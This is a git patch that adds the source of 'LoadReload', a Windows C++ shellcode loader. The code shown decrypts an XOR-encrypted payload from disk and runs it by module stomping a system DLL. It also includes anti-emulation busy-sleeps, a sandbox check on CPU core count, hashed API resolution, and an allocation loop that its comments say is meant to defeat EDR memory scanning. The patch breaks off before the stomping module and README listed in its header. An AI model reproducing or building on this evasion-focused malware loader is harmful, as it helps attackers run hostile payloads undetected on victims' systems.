From 6192a5fa7a45679b82d8cd01131e29981e69c98f Mon Sep 17 00:00:00 2001 From: Roam Date: Sat, 13 Jun 2026 23:47:04 +0200 Subject: [PATCH] cleanup --- .gitignore | 418 +++++++++++++++++++++++++ LoadReload.sln | 31 ++ LoadReload/LoadReload.vcxproj | 154 +++++++++ LoadReload/LoadReload.vcxproj.filters | 75 +++++ LoadReload/config.h | 21 ++ LoadReload/core/LoadReload.cpp | 51 +++ LoadReload/modules/anti_emulation.cpp | 28 ++ LoadReload/modules/anti_emulation.h | 13 + LoadReload/modules/api_resolver.cpp | 33 ++ LoadReload/modules/api_resolver.h | 59 ++++ LoadReload/modules/decryptor.cpp | 35 +++ LoadReload/modules/decryptor.h | 8 + LoadReload/modules/edr_decon.cpp | 94 ++++++ LoadReload/modules/edr_decon.h | 6 + LoadReload/modules/guardrails.cpp | 14 + LoadReload/modules/guardrails.h | 7 + LoadReload/modules/loader_stub.cpp | 86 +++++ LoadReload/modules/loader_stub.h | 16 + LoadReload/modules/module_stomping.cpp | 271 ++++++++++++++++ LoadReload/modules/module_stomping.h | 10 + LoadReload/utils/logging.h | 19 ++ README.md | 45 +++ 22 files changed, 1494 insertions(+) create mode 100644 .gitignore create mode 100644 LoadReload.sln create mode 100644 LoadReload/LoadReload.vcxproj create mode 100644 LoadReload/LoadReload.vcxproj.filters create mode 100644 LoadReload/config.h create mode 100644 LoadReload/core/LoadReload.cpp create mode 100644 LoadReload/modules/anti_emulation.cpp create mode 100644 LoadReload/modules/anti_emulation.h create mode 100644 LoadReload/modules/api_resolver.cpp create mode 100644 LoadReload/modules/api_resolver.h create mode 100644 LoadReload/modules/decryptor.cpp create mode 100644 LoadReload/modules/decryptor.h create mode 100644 LoadReload/modules/edr_decon.cpp create mode 100644 LoadReload/modules/edr_decon.h create mode 100644 LoadReload/modules/guardrails.cpp create mode 100644 LoadReload/modules/guardrails.h create mode 100644 LoadReload/modules/loader_stub.cpp create mode 100644 LoadReload/modules/loader_stub.h create mode 100644 LoadReload/modules/module_stomping.cpp create mode 100644 LoadReload/modules/module_stomping.h create mode 100644 LoadReload/utils/logging.h create mode 100644 README.md diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..ce89292 --- /dev/null +++ b/.gitignore @@ -0,0 +1,418 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. +## +## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore + +# User-specific files +*.rsuser +*.suo +*.user +*.userosscache +*.sln.docstates +*.env + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Mono auto generated files +mono_crash.* + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +[Ww][Ii][Nn]32/ +[Aa][Rr][Mm]/ +[Aa][Rr][Mm]64/ +[Aa][Rr][Mm]64[Ee][Cc]/ +bld/ +[Oo]bj/ +[Oo]ut/ +[Ll]og/ +[Ll]ogs/ + +# Build results on 'Bin' directories +**/[Bb]in/* +# Uncomment if you have tasks that rely on *.refresh files to move binaries +# (https://github.com/github/gitignore/pull/3736) +#!**/[Bb]in/*.refresh + +# Visual Studio 2015/2017 cache/options directory +.vs/ +# Uncomment if you have tasks that create the project's static files in wwwroot +#wwwroot/ + +# Visual Studio 2017 auto generated files +Generated\ Files/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* +*.trx + +# NUnit +*.VisualState.xml +TestResult.xml +nunit-*.xml + +# Approval Tests result files +*.received.* + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +# Benchmark Results +BenchmarkDotNet.Artifacts/ + +# .NET Core +project.lock.json +project.fragment.lock.json +artifacts/ + +# ASP.NET Scaffolding +ScaffoldingReadMe.txt + +# StyleCop +StyleCopReport.xml + +# Files built by Visual Studio +*_i.c +*_p.c +*_h.h +*.ilk +*.meta +*.obj +*.idb +*.iobj +*.pch +*.pdb +*.ipdb +*.pgc +*.pgd +*.rsp +# but not Directory.Build.rsp, as it configures directory-level build defaults +!Directory.Build.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*_wpftmp.csproj +*.log +*.tlog +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opendb +*.opensdf +*.sdf +*.cachefile +*.VC.db +*.VC.VC.opendb + +# Visual Studio profiler +*.psess +*.vsp +*.vspx +*.sap + +# Visual Studio Trace Files +*.e2e + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# AxoCover is a Code Coverage Tool +.axoCover/* +!.axoCover/settings.json + +# Coverlet is a free, cross platform Code Coverage Tool +coverage*.json +coverage*.xml +coverage*.info + +# Visual Studio code coverage results +*.coverage +*.coveragexml + +# NCrunch +_NCrunch_* +.NCrunch_* +.*crunch*.local.xml +nCrunchTemp_* + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# Note: Comment the next line if you want to checkin your web deploy settings, +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# Microsoft Azure Web App publish settings. Comment the next line if you want to +# checkin your Azure Web App publish settings, but sensitive information contained +# in these scripts will be unencrypted +PublishScripts/ + +# NuGet Packages +*.nupkg +# NuGet Symbol Packages +*.snupkg +# The packages folder can be ignored because of Package Restore +**/[Pp]ackages/* +# except build/, which is used as an MSBuild target. +!**/[Pp]ackages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/[Pp]ackages/repositories.config +# NuGet v3's project.json files produces more ignorable files +*.nuget.props +*.nuget.targets + +# Microsoft Azure Build Output +csx/ +*.build.csdef + +# Microsoft Azure Emulator +ecf/ +rcf/ + +# Windows Store app package directories and files +AppPackages/ +BundleArtifacts/ +Package.StoreAssociation.xml +_pkginfo.txt +*.appx +*.appxbundle +*.appxupload + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!?*.[Cc]ache/ + +# Others +ClientBin/ +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.jfm +*.pfx +*.publishsettings +orleans.codegen.cs + +# Including strong name files can present a security risk +# (https://github.com/github/gitignore/pull/2483#issue-259490424) +#*.snk + +# Since there are multiple workflows, uncomment next line to ignore bower_components +# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) +#bower_components/ + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm +ServiceFabricBackup/ +*.rptproj.bak + +# SQL Server files +*.mdf +*.ldf +*.ndf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings +*.rptproj.rsuser +*- [Bb]ackup.rdl +*- [Bb]ackup ([0-9]).rdl +*- [Bb]ackup ([0-9][0-9]).rdl + +# Microsoft Fakes +FakesAssemblies/ + +# GhostDoc plugin setting file +*.GhostDoc.xml + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat +node_modules/ + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt + +# Visual Studio 6 auto-generated workspace file (contains which files were open etc.) +*.vbw + +# Visual Studio 6 auto-generated project file (contains which files were open etc.) +*.vbp + +# Visual Studio 6 workspace and project file (working project files containing files to include in project) +*.dsw +*.dsp + +# Visual Studio 6 technical files +*.ncb +*.aps + +# Visual Studio LightSwitch build output +**/*.HTMLClient/GeneratedArtifacts +**/*.DesktopClient/GeneratedArtifacts +**/*.DesktopClient/ModelManifest.xml +**/*.Server/GeneratedArtifacts +**/*.Server/ModelManifest.xml +_Pvt_Extensions + +# Paket dependency manager +**/.paket/paket.exe +paket-files/ + +# FAKE - F# Make +**/.fake/ + +# CodeRush personal settings +**/.cr/personal + +# Python Tools for Visual Studio (PTVS) +**/__pycache__/ +*.pyc + +# Cake - Uncomment if you are using it +#tools/** +#!tools/packages.config + +# Tabs Studio +*.tss + +# Telerik's JustMock configuration file +*.jmconfig + +# BizTalk build output +*.btp.cs +*.btm.cs +*.odx.cs +*.xsd.cs + +# OpenCover UI analysis results +OpenCover/ + +# Azure Stream Analytics local run output +ASALocalRun/ + +# MSBuild Binary and Structured Log +*.binlog +MSBuild_Logs/ + +# AWS SAM Build and Temporary Artifacts folder +.aws-sam + +# NVidia Nsight GPU debugger configuration file +*.nvuser + +# MFractors (Xamarin productivity tool) working folder +**/.mfractor/ + +# Local History for Visual Studio +**/.localhistory/ + +# Visual Studio History (VSHistory) files +.vshistory/ + +# BeatPulse healthcheck temp database +healthchecksdb + +# Backup folder for Package Reference Convert tool in Visual Studio 2017 +MigrationBackup/ + +# Ionide (cross platform F# VS Code tools) working folder +**/.ionide/ + +# Fody - auto-generated XML schema +FodyWeavers.xsd + +# VS Code files for those working on multiple tools +.vscode/* +!.vscode/settings.json +!.vscode/tasks.json +!.vscode/launch.json +!.vscode/extensions.json +!.vscode/*.code-snippets + +# Local History for Visual Studio Code +.history/ + +# Built Visual Studio Code Extensions +*.vsix + +# Windows Installer files from build outputs +*.cab +*.msi +*.msix +*.msm +*.msp diff --git a/LoadReload.sln b/LoadReload.sln new file mode 100644 index 0000000..84b408c --- /dev/null +++ b/LoadReload.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.14.36414.22 d17.14 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LoadReload", "LoadReload\LoadReload.vcxproj", "{28DE3417-3CEF-4F0B-9B81-8EB99B9658E6}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {28DE3417-3CEF-4F0B-9B81-8EB99B9658E6}.Debug|x64.ActiveCfg = Debug|x64 + {28DE3417-3CEF-4F0B-9B81-8EB99B9658E6}.Debug|x64.Build.0 = Debug|x64 + {28DE3417-3CEF-4F0B-9B81-8EB99B9658E6}.Debug|x86.ActiveCfg = Debug|Win32 + {28DE3417-3CEF-4F0B-9B81-8EB99B9658E6}.Debug|x86.Build.0 = Debug|Win32 + {28DE3417-3CEF-4F0B-9B81-8EB99B9658E6}.Release|x64.ActiveCfg = Release|x64 + {28DE3417-3CEF-4F0B-9B81-8EB99B9658E6}.Release|x64.Build.0 = Release|x64 + {28DE3417-3CEF-4F0B-9B81-8EB99B9658E6}.Release|x86.ActiveCfg = Release|Win32 + {28DE3417-3CEF-4F0B-9B81-8EB99B9658E6}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {8631FCE8-ACFF-4EC2-91DD-9123012175FE} + EndGlobalSection +EndGlobal diff --git a/LoadReload/LoadReload.vcxproj b/LoadReload/LoadReload.vcxproj new file mode 100644 index 0000000..3604623 --- /dev/null +++ b/LoadReload/LoadReload.vcxproj @@ -0,0 +1,154 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {28de3417-3cef-4f0b-9b81-8eb99b9658e6} + LoadReload + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + None + MinSpace + + + Console + false + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/LoadReload/LoadReload.vcxproj.filters b/LoadReload/LoadReload.vcxproj.filters new file mode 100644 index 0000000..6a6ecad --- /dev/null +++ b/LoadReload/LoadReload.vcxproj.filters @@ -0,0 +1,75 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + \ No newline at end of file diff --git a/LoadReload/config.h b/LoadReload/config.h new file mode 100644 index 0000000..7f01593 --- /dev/null +++ b/LoadReload/config.h @@ -0,0 +1,21 @@ +#pragma once + +// === Feature toggles 1 = on / 0 = off === +#define USE_GUARDRAILS 0 +#define USE_ANTI_EMULATION 1 +#define USE_EDR_DECON 0 +#define USE_DECRYPTION 1 + +// === Payload settings === +#define LOAD_FROM_DISK 1 +#define PAYLOAD_PATH "C:/temp/custom_shellcode_3_enc.bin" +#define DECOY_DLL_PATH L"C:\\Windows\\System32\\edgehtml.dll" + +// === EDR Decon settings === +#define NUMBER_OF_ALLOCS 150 +#define NUMBER_OF_ITERATIONS 5 + +// === Decryption settings === +#ifndef XOR_KEY +#define XOR_KEY { 0x9c, 0xbe, 0xb5, 0x10, 0xf8, 0xc3, 0x7e, 0x8d } +#endif diff --git a/LoadReload/core/LoadReload.cpp b/LoadReload/core/LoadReload.cpp new file mode 100644 index 0000000..85b13e2 --- /dev/null +++ b/LoadReload/core/LoadReload.cpp @@ -0,0 +1,51 @@ +#include +#include +#include "../config.h" + +// Modules +#include "../modules/guardrails.h" +#include "../modules/anti_emulation.h" +#include "../modules/edr_decon.h" +#include "../modules/decryptor.h" +#include "../modules/loader_stub.h" +#include "../utils/logging.h" + + + +int main() { + + Log::Write(Log::LogLevel::Msg, "Starting LoadReload..."); + + // Timestamp of execution start + + + // Execution Guardrails Module +#if USE_GUARDRAILS + if (Guardrails::CheckCpuCores(2)) { + Log::Write(Log::LogLevel::Msg, "Guardrails: Insufficient CPU cores detected. Exiting."); + ExitProcess(-1); + } +#endif + + // Anti-emulation Module + // If config.h isn’t included before the #if, then USE_ANTI_EMULATION is undefined preprocessor treats it as 0. therefore #if defined(...) && ... is needed +#if defined(USE_ANTI_EMULATION) && USE_ANTI_EMULATION + // Anti-emulation checks because they didnt work with namespace + Log::Write(Log::LogLevel::Msg, "BusySleep Starting..."); + BusySleepMs(5000); // Sleep for 5 seconds to avoid emulation detection +#endif + + // Load payload +#if LOAD_FROM_DISK + auto payload = LoaderStub::LoadBinaryFile(PAYLOAD_PATH); +#endif + + if (payload.empty()) { + Log::Write(Log::LogLevel::Msg, "Failed to load payload"); + ExitProcess(-1); + } + // Execution via Loader Stub + LoaderStub::Execute(payload); + + return 0; +} diff --git a/LoadReload/modules/anti_emulation.cpp b/LoadReload/modules/anti_emulation.cpp new file mode 100644 index 0000000..9c89f96 --- /dev/null +++ b/LoadReload/modules/anti_emulation.cpp @@ -0,0 +1,28 @@ +#include +#include +# include "anti_emulation.h" +#include "../utils/logging.h" + + +int GetKernelTimeMs() { + // KUSER_SHARED_DATA addresses (see WinDbg: dt nt!_KUSER_SHARED_DATA) + const ULONG* TickCountMultiplier = (const ULONG*)0x7ffe0004; + const LONG* High1Time = (const LONG*)0x7ffe0324; + const ULONG* LowPart = (const ULONG*)0x7ffe0320; + + // Rebuild the kernel tick count (raw, similar to Windows internals) and convert to milliseconds + DWORD kernelTime = (*TickCountMultiplier) * ((*High1Time << 8)) + + ((static_cast(*LowPart) * (*TickCountMultiplier)) >> 24); + + return static_cast(kernelTime); +} + +void BusySleepMs(DWORD sleepMs) { + int start = GetKernelTimeMs(); + // Busy-loop until the specified interval has elapsed + while ((GetKernelTimeMs() - start) < static_cast(sleepMs)) { + + _mm_pause(); // does nothing, just a hint to CPU to reduce power consumption, might slow down aggressor analysis + } + +} \ No newline at end of file diff --git a/LoadReload/modules/anti_emulation.h b/LoadReload/modules/anti_emulation.h new file mode 100644 index 0000000..57232b7 --- /dev/null +++ b/LoadReload/modules/anti_emulation.h @@ -0,0 +1,13 @@ +#pragma once + +// Namespace declaration only, implementation lives in anti_emulation.cpp +// sleepy sleep +void BusySleepMs(DWORD sleepMs); + +namespace AntiEmulation_Timing { + void Run(); // entry point for timing-based anti-emulation checks +} + +namespace AntiEmulation_CPU { + void Run(); // entry point for CPU-based anti-emulation checks +} \ No newline at end of file diff --git a/LoadReload/modules/api_resolver.cpp b/LoadReload/modules/api_resolver.cpp new file mode 100644 index 0000000..07e196e --- /dev/null +++ b/LoadReload/modules/api_resolver.cpp @@ -0,0 +1,33 @@ +#include "api_resolver.h" +#include +#include +#include + + +unsigned long hashstr(const char* s) { + unsigned long hash = 0xDEADBEEF; + while (*s) { + hash = (hash >> 3) | (hash << 29); + hash ^= *s++; + hash += 0x55555555; + } + return hash; +} + +void* findfunc(void* module, unsigned long hash) { + auto dos = (IMAGE_DOS_HEADER*)module; + auto nt = (IMAGE_NT_HEADERS*)((char*)module + dos->e_lfanew); + auto exportdir = (IMAGE_EXPORT_DIRECTORY*)((char*)module + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + unsigned long* functions = (unsigned long*)((char*)module + exportdir->AddressOfFunctions); + unsigned long* names = (unsigned long*)((char*)module + exportdir->AddressOfNames); + unsigned short* ordinals = (unsigned short*)((char*)module + exportdir->AddressOfNameOrdinals); + + for (unsigned long i = 0; i < exportdir->NumberOfNames; i++) { + const char* name = (const char*)module + names[i]; + if (hashstr(name) == hash) { + return (void*)((char*)module + functions[ordinals[i]]); + } + } + return NULL; +} \ No newline at end of file diff --git a/LoadReload/modules/api_resolver.h b/LoadReload/modules/api_resolver.h new file mode 100644 index 0000000..f209245 --- /dev/null +++ b/LoadReload/modules/api_resolver.h @@ -0,0 +1,59 @@ +#pragma once +#include +#include + +unsigned long hashstr(const char* s); +void* findfunc(void* module, unsigned long hash); + +/*-------------[TYPE DEFINITIONS]-------------*/ + +typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; +typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; +typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, * PCLIENT_ID; + +/*-------------[FUNCTION TYPES]-------------*/ + + +typedef NTSTATUS(NTAPI* fnLdrCallEnclave)( + _In_ PENCLAVE_ROUTINE Routine, + _In_ ULONG Flags, // ENCLAVE_CALL_FLAG_* + _Inout_ PVOID* RoutineParamReturn + ); + +typedef HMODULE(WINAPI* fnLoadLibraryExW)( + _In_ LPCWSTR lpLibFileName, + _In_ HANDLE hFile, + _In_ DWORD dwFlags + ); + +typedef NTSTATUS(NTAPI* fnNtProtectVirtualMemory)( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG NewProtect, + _Out_ PULONG OldProtect + ); + + +typedef NTSTATUS(NTAPI* fnNtCreateSection)(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL); +typedef NTSTATUS(NTAPI* fnNtMapViewOfSection)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect); +typedef NTSTATUS(NTAPI* fnNtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress); +typedef NTSTATUS(NTAPI* fnNtAllocateVirtualMemory)(IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG_PTR ZeroBits, IN OUT PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect); + + +// More definitions needed to load sacrificial DLL +typedef enum _SECTION_INHERIT +{ + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT; + +#define NtCurrentProcess() ((HANDLE) -1) +#ifndef STATUS_SUCCESS +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) +#endif +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) +#endif +#define DELETE_HANDLE(h) if (h && h != INVALID_HANDLE_VALUE) { CloseHandle(h); h = NULL; } + diff --git a/LoadReload/modules/decryptor.cpp b/LoadReload/modules/decryptor.cpp new file mode 100644 index 0000000..7a72ff0 --- /dev/null +++ b/LoadReload/modules/decryptor.cpp @@ -0,0 +1,35 @@ +#include "decryptor.h" +#include +#include "../config.h" + + +namespace Decryptor { + + // XOR Routines for decrypting from a input to a function or in place to a certain length of buffer + + std::vector Decrypt(const std::vector& input) { + std::vector output = input; + std::vector xorKey(XOR_KEY); + if (!xorKey.empty()) { + for (size_t i = 0; i < output.size(); ++i) { + output[i] ^= xorKey[i % xorKey.size()]; + } + } + return output; + } + + bool DecryptInPlace(uint8_t* buffer, size_t size) { + std::vector xorKey(XOR_KEY); + if (xorKey.empty()) { + return false; + } + + for (size_t i = 0; i < size; ++i) { + buffer[i] ^= xorKey[i % xorKey.size()]; + } + + return true; + } + + +} diff --git a/LoadReload/modules/decryptor.h b/LoadReload/modules/decryptor.h new file mode 100644 index 0000000..ccf9cf8 --- /dev/null +++ b/LoadReload/modules/decryptor.h @@ -0,0 +1,8 @@ +#pragma once +#include +#include +namespace Decryptor { + std::vector Decrypt(const std::vector& input); + + bool DecryptInPlace(uint8_t* buffer, size_t size); +} \ No newline at end of file diff --git a/LoadReload/modules/edr_decon.cpp b/LoadReload/modules/edr_decon.cpp new file mode 100644 index 0000000..ec60279 --- /dev/null +++ b/LoadReload/modules/edr_decon.cpp @@ -0,0 +1,94 @@ +#include "edr_decon.h" +#include "../utils/logging.h" +#include "../modules/anti_emulation.h" +#include "../config.h" +#include +#include + +// Defaults if not provided by config.h +#ifndef NUMBER_OF_ALLOCS +#define NUMBER_OF_ALLOCS 150 +#endif + +#ifndef NUMBER_OF_ITERATIONS +#define NUMBER_OF_ITERATIONS 5 +#endif + +/* +RW-RX Loop to defeat EDR memory scanning: +1. Allocate multiple memory regions as RW +2. Fill with data +3. Change protections to RX +4. Free the regions +*/ + +/*============================[Resolve APIs]=====================================================================================================*/ + + +namespace EDRDecon { + + void DoFakeOverwrites(SIZE_T deconbytes) + { + SYSTEM_INFO si; + GetSystemInfo(&si); + size_t pageSize = si.dwPageSize; + + // Cap each allocation to 1 MB max + size_t effectiveLen = (deconbytes > 1024 * 1024) ? 1024 * 1024 : deconbytes; + size_t allocSize = ((effectiveLen + pageSize - 1) / pageSize) * pageSize; + + Log::Write(Log::LogLevel::Msg, + "DECONBYTES=" + std::to_string(deconbytes) + + " -> EffectiveLen=" + std::to_string(effectiveLen) + + ", AllocSize=" + std::to_string(allocSize)); + + std::vector allocatedAddrs(NUMBER_OF_ALLOCS, nullptr); + + BusySleepMs(2000); + + for (int iter = 0; iter < NUMBER_OF_ITERATIONS; iter++) { + Log::Write(Log::LogLevel::Msg, "EDR Decon Iteration " + std::to_string(iter + 1) + "/" + std::to_string(NUMBER_OF_ITERATIONS)); + // Step 1: Allocate multiple RW regions + for (int i = 0; i < NUMBER_OF_ALLOCS; i++) { + allocatedAddrs[i] = VirtualAlloc( + nullptr, + allocSize, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + ); + if (!allocatedAddrs[i]) { + Log::Write(Log::LogLevel::Warn, "failed on virtualalloc " + std::to_string(i)); + continue; + } + // Fill with fake data + auto* ptr = static_cast(allocatedAddrs[i]); + for (size_t i = 0; i < effectiveLen; ++i) { + ptr[i] = 0x41 + (i % 26); // Fill with A-Z pattern + } + } + + BusySleepMs(3000); + + // Step 2: Change protections to RX + for (int i = 0; i < NUMBER_OF_ALLOCS; i++) { + DWORD oldProtect = 0; + if (allocatedAddrs[i] && !VirtualProtect(allocatedAddrs[i], allocSize, PAGE_EXECUTE_READ, &oldProtect)) { + Log::Write(Log::LogLevel::Warn, "VirtualProtect failed on alloc " + std::to_string(i)); + } + } + + BusySleepMs(3000); + + // Step 3: Free the regions + for (int i = 0; i < NUMBER_OF_ALLOCS; i++) { + if (allocatedAddrs[i]) { + if (!VirtualFree(allocatedAddrs[i], 0, MEM_RELEASE)) { + Log::Write(Log::LogLevel::Warn, "VirtualFree failed on alloc " + std::to_string(i)); + } + } + } + } + + } +} + diff --git a/LoadReload/modules/edr_decon.h b/LoadReload/modules/edr_decon.h new file mode 100644 index 0000000..bd48b7b --- /dev/null +++ b/LoadReload/modules/edr_decon.h @@ -0,0 +1,6 @@ +#pragma once +#include + +namespace EDRDecon { + void DoFakeOverwrites(SIZE_T regionSize); +} diff --git a/LoadReload/modules/guardrails.cpp b/LoadReload/modules/guardrails.cpp new file mode 100644 index 0000000..729fb80 --- /dev/null +++ b/LoadReload/modules/guardrails.cpp @@ -0,0 +1,14 @@ +#include "guardrails.h" +#include + +namespace Guardrails { + // Check Number of CPU Cores + bool CheckCpuCores(unsigned int minCores) { + SYSTEM_INFO sysInfo; + GetSystemInfo(&sysInfo); + if (sysInfo.dwNumberOfProcessors <= minCores) { + return true; // Insufficient cores + } + return false; // Sufficient cores + } +} \ No newline at end of file diff --git a/LoadReload/modules/guardrails.h b/LoadReload/modules/guardrails.h new file mode 100644 index 0000000..59ed02b --- /dev/null +++ b/LoadReload/modules/guardrails.h @@ -0,0 +1,7 @@ +#pragma once +namespace Guardrails { + + // Check Number of CPU Cores + bool CheckCpuCores(unsigned int minCores); + +} diff --git a/LoadReload/modules/loader_stub.cpp b/LoadReload/modules/loader_stub.cpp new file mode 100644 index 0000000..ac1d2c4 --- /dev/null +++ b/LoadReload/modules/loader_stub.cpp @@ -0,0 +1,86 @@ +#include "loader_stub.h" +#include "../utils/logging.h" +#include "../config.h" +#include "../modules/module_stomping.h" +#include "../modules/anti_emulation.h" +#include +#include +#include +#include + + + + +namespace LoaderStub { + + + /*===============================================[Get Payload locally]========================================================================*/ + + // Load payload from disk + std::vector LoadBinaryFile(const std::string& path) { + std::ifstream + file(path + , std::ios::binary | std::ios::ate); + if (!file.is_open()) { + Log::Write(Log::LogLevel::Error, "Failed to open payload file: " + path); + return {}; + } + std::streamsize size = file.tellg(); + file.seekg(0, std::ios::beg); + std::vector buffer(size); + if (!file.read((char*)buffer.data(), size)) { + Log::Write(Log::LogLevel::Error, "Failed to read payload file: " + path); + return {}; + } + return buffer; + } + + /*=================================================[Preload DLLs]======================================================*/ + void PreloadDLLs() { + Log::Write(Log::LogLevel::Msg, "Preloading DLLs..."); + // List of common DLLs to preload + const char* dllsToPreload[] = { + "kernel32.dll", + "user32.dll", + "advapi32.dll", + "ntdll.dll", + "wininet.dll", + "winhttp.dll", + "ws2_32.dll", + "iphlpapi.dll", + "secur32.dll", + "netapi32.dll", + "dnsapi.dll" + + }; + for (const char* dllName : dllsToPreload) { + HMODULE hMod = LoadLibraryA(dllName); + if (hMod) { + Log::Write(Log::LogLevel::Msg, std::string("Preloaded: ") + dllName); + } else { + Log::Write(Log::LogLevel::Warn, std::string("Failed to preload: ") + dllName); + } + } + } + + /*=======================================================[Execute]==================================================================*/ + + // Execute payload + void Execute(std::vector& payload) { + if (payload.empty()) { + Log::Write(Log::LogLevel::Msg, "Payload is empty, skipping execution"); + return; + } + + BusySleepMs(1000); // Simulate some delay + + // Preload DLLs + PreloadDLLs(); + + // Use module stomping to execute payload + Module_Stomping::PatchSectionAndExecute(DECOY_DLL_PATH, payload); + + // If the payload ever returns + Log::Write(Log::LogLevel::Msg, "Returned from payload execution"); + } +} \ No newline at end of file diff --git a/LoadReload/modules/loader_stub.h b/LoadReload/modules/loader_stub.h new file mode 100644 index 0000000..d3ee9f0 --- /dev/null +++ b/LoadReload/modules/loader_stub.h @@ -0,0 +1,16 @@ +#pragma once +#include +#include +#include +#include +#include + + 